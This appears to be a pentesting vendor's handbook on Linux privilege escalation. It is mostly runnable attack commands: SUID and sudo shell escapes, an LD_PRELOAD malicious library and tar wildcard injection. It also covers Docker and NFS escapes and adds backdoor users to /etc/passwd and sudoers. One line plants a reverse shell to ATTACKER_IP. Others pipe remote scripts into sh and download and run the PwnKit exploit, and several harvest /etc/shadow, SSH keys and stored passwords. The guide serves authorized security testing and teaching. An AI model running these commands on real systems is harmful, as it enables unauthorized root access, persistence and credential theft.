Linux Privilege Escalation: A Pentester's Complete Handbook
You've got a shell. Now what? This comprehensive guide covers every major Linux privilege escalation technique—from quick wins to kernel exploits.
Privilege escalation is the critical phase between initial access and full system compromise. You've exploited a vulnerability, landed a shell as www-data or a low-privileged user, and now you need root. This guide covers the techniques that work in real engagements.
We'll progress from quick enumeration to specific attack vectors, each with practical commands you can use immediately.
These techniques should only be used on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is a criminal offense.
Phase 1: Initial Enumeration
Before attempting specific exploits, gather information about the system. This enumeration reveals what's possible.
System Information
# OS and kernel version (critical for kernel exploits)
uname -a
cat /etc/os-release
cat /proc/version
# Architecture
uname -m
arch
# Hostname and network
hostname
cat /etc/hosts
ip addr
ip route
# Running processes
ps aux
ps aux | grep root
# Installed packages (varies by distro)
dpkg -l # Debian/Ubuntu
rpm -qa # RHEL/CentOS
pacman -Q # Arch
User and Group Enumeration
# Current user context
id
whoami
# All users
cat /etc/passwd
# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false
# Groups
cat /etc/group
# Sudo privileges (if accessible)
sudo -l
# Users in interesting groups
getent group sudo
getent group docker
getent group lxd
getent group disk
Quick Wins Checklist
# SUID binaries (often exploitable)
find / -perm -4000 -type f 2>/dev/null
# SGID binaries
find / -perm -2000 -type f 2>/dev/null
# World-writable files
find / -writable -type f 2>/dev/null
# World-writable directories
find / -writable -type d 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/* 2>/dev/null
# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# History files
cat ~/.bash_history
cat ~/.zsh_history
# Config files with credentials
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.php" -exec grep -l "password" {} \; 2>/dev/null
While manual enumeration teaches you what to look for, automated tools are faster in real engagements: LinPEAS, LinEnum, linux-exploit-suggester. Upload them to /tmp or /dev/shm, make executable, and run. Review output carefully—they often flag things you'd miss manually.
SUID Binary Exploitation
SUID (Set User ID) binaries run with the permissions of the file owner, not the user executing them. When a binary owned by root has the SUID bit set, it runs as root regardless of who executes it. Misconfigured SUID binaries are one of the most common privesc vectors.
Finding SUID Binaries
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Example output:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/find # POTENTIALLY EXPLOITABLE
/usr/bin/vim # POTENTIALLY EXPLOITABLE
/usr/bin/nmap # POTENTIALLY EXPLOITABLE (older versions)
/opt/custom-backup # CUSTOM BINARY - INVESTIGATE
GTFOBins: The SUID Bible
GTFOBins (gtfobins.github.io) documents how common Unix binaries can be abused. When you find an unexpected SUID binary, check GTFOBins first.
# === find ===
# If /usr/bin/find has SUID:
find . -exec /bin/sh -p \; -quit
# === vim ===
# If /usr/bin/vim has SUID:
vim -c ':!/bin/sh'
# === python ===
# If python has SUID:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# === bash ===
# If bash has SUID (with -p to preserve privileges):
bash -p
# === less ===
# If less has SUID:
less /etc/passwd
!/bin/sh
# === nmap (old interactive mode) ===
# If nmap version < 5.21 has SUID:
nmap --interactive
!sh
# === cp ===
# If cp has SUID, overwrite /etc/passwd:
# 1. Generate password hash
openssl passwd -1 -salt xyz password123
# 2. Create modified passwd with root user
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' > /tmp/passwd
# 3. Copy over original
cp /tmp/passwd /etc/passwd
Custom SUID Binaries
Custom binaries are often vulnerable. Analyze them for:
- Calls to system() or popen() with user input
- Relative path commands (path injection)
- Missing input validation
- Shared library injection (LD_PRELOAD, but usually blocked for SUID)
# Check what the binary does
strings /opt/custom-backup
# Look for system calls, paths, commands
strings /opt/custom-backup | grep -E "(system|exec|/bin|/usr)"
# Trace system calls
ltrace /opt/custom-backup
strace /opt/custom-backup
# Disassemble if needed
objdump -d /opt/custom-backup | less
Sudo Misconfigurations
sudo allows users to run commands as root (or other users) based on /etc/sudoers configuration. Misconfigurations here are extremely common and often lead directly to root.
Checking Sudo Privileges
# List sudo privileges for current user
sudo -l
# Example output:
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
(ALL) NOPASSWD: /usr/bin/find
(root) /usr/bin/less /var/log/*
Exploiting Sudo Rights
# === vim ===
sudo vim -c ':!/bin/bash'
# === find ===
sudo find . -exec /bin/bash \; -quit
# === less ===
sudo less /var/log/syslog
!/bin/bash
# === awk ===
sudo awk 'BEGIN {system("/bin/bash")}'
# === perl ===
sudo perl -e 'exec "/bin/bash";'
# === python ===
sudo python -c 'import pty; pty.spawn("/bin/bash")'
# === ruby ===
sudo ruby -e 'exec "/bin/bash"'
# === man ===
sudo man man
!/bin/bash
# === env ===
sudo env /bin/bash
# === ftp ===
sudo ftp
!/bin/bash
# === socat ===
sudo socat stdin exec:/bin/bash
Sudo Path Wildcards
Wildcard characters in sudo rules can be exploited:
# If sudoers contains:
# user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/*
# You can traverse paths:
sudo /usr/bin/cat /var/log/../../etc/shadow
# If sudoers contains:
# user ALL=(root) NOPASSWD: /opt/scripts/*.sh
# Create a malicious script and run it:
echo '/bin/bash' > /tmp/shell.sh
sudo /opt/scripts/../../../tmp/shell.sh
LD_PRELOAD Exploitation
If sudo preserves LD_PRELOAD (rare but devastating when present):
# Check if env_keep includes LD_PRELOAD
sudo -l
# Matching Defaults entries:
# env_keep += LD_PRELOAD
# If present, create malicious shared library:
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}
EOF
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
Capabilities Exploitation
Linux capabilities break down root privileges into distinct units. Instead of full root, a binary can have specific capabilities. Some capabilities enable privilege escalation.
# List all files with capabilities
getcap -r / 2>/dev/null
# Dangerous capabilities:
# cap_setuid - Can change UID
# cap_setgid - Can change GID
# cap_dac_override - Bypass file permission checks
# cap_dac_read_search - Bypass read/execute permission checks
# cap_net_bind_service - Bind to privileged ports (not usually privesc)
# cap_sys_admin - Mount filesystems, many kernel functions
# cap_sys_ptrace - Trace/debug processes
# === Python with cap_setuid ===
# If: /usr/bin/python3 = cap_setuid+ep
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# === Perl with cap_setuid ===
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# === vim with cap_dac_override ===
# Can write to any file - modify /etc/passwd or /etc/shadow
# === tar with cap_dac_read_search ===
# Can read any file
tar -cvf /tmp/shadow.tar /etc/shadow
tar -xvf /tmp/shadow.tar
Cron Job Exploitation
Cron jobs run scheduled commands, often as root. If you can modify what a cron job executes, you can escalate privileges.
Finding Cron Jobs
# System-wide crontab
cat /etc/crontab
# Cron directories
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# User crontabs
cat /var/spool/cron/crontabs/* 2>/dev/null
# Systemd timers (modern alternative to cron)
systemctl list-timers --all
Writable Script Exploitation
# If cron runs /opt/scripts/backup.sh as root
# And you can write to /opt/scripts/backup.sh:
# Option 1: Reverse shell
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh
# Option 2: SUID bash
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# After cron runs: /tmp/rootbash -p
# Option 3: Add user to sudoers
echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /opt/scripts/backup.sh
PATH Hijacking
If a cron job calls a command without its full path, and you can modify the PATH or write to a directory in PATH:
# /etc/crontab contains:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin
# * * * * * root backup
# If /home/user is writable and "backup" is called without full path:
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /home/user/backup
chmod +x /home/user/backup
# Wait for cron, then:
/tmp/rootbash -p
Wildcard Injection
Some commands interpret filenames as arguments. If a cron job uses wildcards in a directory you control:
# If cron runs: tar -czf /backup/backup.tar.gz /var/www/*
# And you control /var/www:
# Create files that tar interprets as arguments
cd /var/www
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
# When tar runs with *, it expands to:
# tar -czf /backup/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ...
# Wait for cron, then:
/tmp/rootbash -p
Kernel Exploits
When other techniques fail, kernel exploits can provide root access by exploiting vulnerabilities in the Linux kernel itself. These are riskier—they can crash systems—but often work when nothing else does.
Identifying Kernel Version
# Kernel version
uname -r
# Example: 4.15.0-112-generic
# Full system info
uname -a
# Linux victim 4.15.0-112-generic #113-Ubuntu SMP x86_64 GNU/Linux
# Distribution info
cat /etc/os-release
cat /etc/issue
Finding Kernel Exploits
# linux-exploit-suggester
./linux-exploit-suggester.sh
# linux-exploit-suggester-2 (Python)
python linux-exploit-suggester-2.py
# searchsploit
searchsploit linux kernel 4.15 privilege escalation
Notable Kernel Exploits
| CVE | Name | Affected Kernels |
|---|---|---|
| CVE-2021-4034 | PwnKit (pkexec) | Most distros 2009-2022 |
| CVE-2022-0847 | Dirty Pipe | 5.8 - 5.16.11 |
| CVE-2021-3156 | Baron Samedit (sudo) | sudo 1.8.2 - 1.9.5p1 |
| CVE-2016-5195 | Dirty COW | 2.6.22 - 4.8.3 |
| CVE-2017-16995 | eBPF | 4.4 - 4.14 |
| CVE-2019-13272 | PTRACE_TRACEME | < 5.1.17 |
# Check if vulnerable
ls -la /usr/bin/pkexec
# Compile exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
Kernel exploits can crash systems or leave them in an unstable state. In production environments, get explicit approval and have rollback plans. Always test exploits in a lab environment matching the target kernel version before using on real targets.
Docker and Container Escapes
If you're inside a container, escaping to the host is the privilege escalation. If you're on a host and can access Docker, you can often get root.
Docker Group Membership
# Check if user is in docker group
id
# uid=1000(user) gid=1000(user) groups=1000(user),998(docker)
# Docker group = root equivalent
# Mount host filesystem into container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or run a privileged container
docker run --rm -it --privileged --net=host -v /:/mnt alpine
# Inside container, you're root on the host filesystem
cat /mnt/etc/shadow
echo 'hacker:x:0:0:root:/root:/bin/bash' >> /mnt/etc/passwd
Exposed Docker Socket
# If /var/run/docker.sock is accessible:
ls -la /var/run/docker.sock
# Use curl to interact with Docker API
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# Create privileged container via API
curl -s -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/mnt"]}}' \
http://localhost/containers/create
NFS Misconfigurations
NFS (Network File System) shares with improper configuration can enable privilege escalation.
# Check for NFS shares
showmount -e TARGET_IP
cat /etc/exports
# Look for no_root_squash option
# This means root on client = root on server
# On attacker machine (as root):
mkdir /tmp/nfs
mount -t nfs TARGET_IP:/share /tmp/nfs
# Create SUID binary
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
# On target:
/share/rootbash -p
Sensitive File Access
Sometimes you don't need a full exploit—just access to the right file.
# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
cat /root/.ssh/id_rsa
# Password files
cat /etc/shadow # If readable, crack hashes
cat /etc/passwd # Check for password hashes in field 2
# Application credentials
find / -name "*.conf" -exec grep -l -i "password" {} \; 2>/dev/null
find / -name "wp-config.php" 2>/dev/null
cat /var/www/*/wp-config.php
# History files
cat /home/*/.bash_history
cat /root/.bash_history
# Environment variables
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass
Automated Enumeration Scripts
For efficiency, use these scripts but understand what they're checking:
# LinPEAS (most comprehensive)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# linux-exploit-suggester
./linux-exploit-suggester.sh
# pspy (monitor processes without root)
./pspy64
Methodology Summary
- Situational awareness: Who am I? What system is this? What's unusual?
- Quick wins: sudo -l, SUID binaries, readable sensitive files
- Deeper enumeration: Capabilities, cron jobs, NFS, Docker
- Credential hunting: History files, config files, environment variables
- Kernel exploits: Last resort, check version and use exploit suggester
The key is systematic enumeration. Most privilege escalation isn't about exotic exploits—it's about finding the one misconfiguration in a sea of properly configured settings.
For professional penetration testing that identifies privilege escalation paths in your environment, contact Brickell Technologies.
- LinPEAS/WinPEAS - Privilege escalation enumeration scripts
- GTFOBins - Unix binaries for privilege escalation
- linux-exploit-suggester - Kernel exploit finder
- pspy - Monitor processes without root
- HackTricks Linux PrivEsc - Comprehensive reference